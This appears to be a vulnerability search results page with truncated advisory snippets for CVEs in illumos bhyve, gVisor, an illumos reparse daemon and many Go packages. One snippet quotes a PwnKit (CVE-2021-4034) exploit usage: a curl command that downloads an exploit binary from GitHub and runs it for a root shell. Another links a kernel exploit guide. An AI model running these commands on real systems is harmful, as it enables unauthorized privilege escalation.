289831 matches found
CVE-2026-102916
A reachable assertion in the illumos bhyve instruction emulator allows a guest to panic the host. When emulating a REP-prefixed MOVS or STOS instruction that accesses guest MMIO, vieemulatemovs and vieemulatestos in usr/src/uts/intel/io/vmm/vmminstructionemul.c do not clear the VIESREPEAT status...
copyfail
Copy Fail CVE-2026-31431 – Exploit Usage Guide Original Readme taken from @painoob All Kernel versions since 2017 / 2016 are vulnerable ! Kernel 7 is fully immune, others between 5-7 may still be vulnerable ⚠️ Disclaimer This content is for educational and authorized security testing purposes only...
PwnKit-CVE-2021-4034
PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running the exploit...
GO-2026-6610 vulnerabilities
Vulnerabilities for packages: azure-service-operator, grafana-rollout-operator, atlas, kube-conformance, crossplane-provider-aws-appautoscaling, wal-g-fips, rancher-system-agent, grafana-alloy, gcp-compute-persistent-disk-csi-driver, dbmate-fips, eksctl, yunikorn-web, mariadb-operator,...
GO-2026-6603 vulnerabilities
Vulnerabilities for packages: azure-service-operator, grafana-rollout-operator, atlas, kube-conformance, crossplane-provider-aws-appautoscaling, wal-g-fips, rancher-system-agent, grafana-alloy, gcp-compute-persistent-disk-csi-driver, dbmate-fips, eksctl, envoy-gateway-fips, yunikorn-web,...
GO-2026-6617 vulnerabilities
Vulnerabilities for packages: azure-service-operator, grafana-rollout-operator, atlas, kube-conformance, crossplane-provider-aws-appautoscaling, wal-g-fips, rancher-system-agent, grafana-alloy, gcp-compute-persistent-disk-csi-driver, dbmate-fips, eksctl, envoy-gateway-fips, yunikorn-web,...
GO-2026-6611 vulnerabilities
Vulnerabilities for packages: azure-service-operator, grafana-rollout-operator, atlas, kube-conformance, crossplane-provider-aws-appautoscaling, wal-g-fips, rancher-system-agent, grafana-alloy, gcp-compute-persistent-disk-csi-driver, dbmate-fips, eksctl, envoy-gateway-fips, yunikorn-web,...
GO-2026-6612 vulnerabilities
Vulnerabilities for packages: azure-service-operator, grafana-rollout-operator, atlas, kube-conformance, crossplane-provider-aws-appautoscaling, wal-g-fips, rancher-system-agent, grafana-alloy, gcp-compute-persistent-disk-csi-driver, dbmate-fips, eksctl, envoy-gateway-fips, yunikorn-web,...
CVE-2026-78669 vulnerabilities
Vulnerabilities for packages: azure-service-operator, grafana-rollout-operator, atlas, kube-conformance, crossplane-provider-aws-appautoscaling, wal-g-fips, rancher-system-agent, grafana-alloy, gcp-compute-persistent-disk-csi-driver, dbmate-fips, eksctl, envoy-gateway-fips, yunikorn-web,...
GO-2026-6612 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, ollama, dkron, gostatsd, seaweedfs, velero-plugin-for-aws, amazon-k8s-cni, cluster-api-helm-controller,...
GO-2026-6610 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, nri-elasticsearch, seaweedfs, velero-plugin-for-aws, terraform-provider-kubernetes, cluster-api-helm-controller, tflint, k3...
GO-2026-6603 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, ollama, dkron, nri-elasticsearch, seaweedfs, velero-plugin-for-aws, amazon-k8s-cni, cluster-api-helm-controller,...
CVE-2026-78663 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, ollama, dkron, gostatsd, seaweedfs, velero-plugin-for-aws, amazon-k8s-cni, cluster-api-helm-controller,...
CVE-2026-78659 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, ollama, dkron, nri-elasticsearch, seaweedfs, velero-plugin-for-aws, amazon-k8s-cni, cluster-api-helm-controller,...
GO-2026-6617 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, ollama, dkron, nri-elasticsearch, seaweedfs, velero-plugin-for-aws, amazon-k8s-cni, cluster-api-helm-controller,...
CVE-2026-97032 vulnerabilities
Vulnerabilities for packages: argo-cd, src, trufflehog, fluent-bit-plugin-loki, flux-kustomize-controller, postgres-operator, flux-source-controller, opentelemetry-operator, ollama, dkron, nri-elasticsearch, seaweedfs, velero-plugin-for-aws, amazon-k8s-cni, cluster-api-helm-controller,...
CVE-2026-95702 Code Execution in Host Sentry Process via Double Free in gVisor VFS MemoryFile
Use-after-free vulnerability in VFS in Google gVisor prior to release 20260831.0 on all platforms allows a local attacker with standard container privileges to achieve code execution in the host sentry process by double-freeing the backing MemoryFile from an in-sandbox overlay filesystem. The...
CVE-2026-95702
Use-after-free vulnerability in VFS in Google gVisor prior to release 20260831.0 on all platforms allows a local attacker with standard container privileges to achieve code execution in the host sentry process by double-freeing the backing MemoryFile from an in-sandbox overlay filesystem. The...
CVE-2026-104115 Stack buffer overflow in illumos reparsed nfs-basic plugin allows local users to crash the daemon
A stack-based buffer overflow in the illumos reparse point daemon reparsed allows a local user to crash the daemon. getfslocations in usr/src/cmd/fs.d/nfs/rpbasic/libnfsbasic.c, part of the nfs-basic reparse plugin, copies the host and path components of a reparse string into a fixed 1024-byte...
CVE-2026-104115
The illumos reparse point daemon (reparsed ) is vulnerable to a stack-based buffer overflow in the nfs-basic reparse plugin . The get_fs_locations() function in libnfs_basic.c fails to perform bounds checking when copying host and path components of a reparse string into a fixed 1024-byte stack b...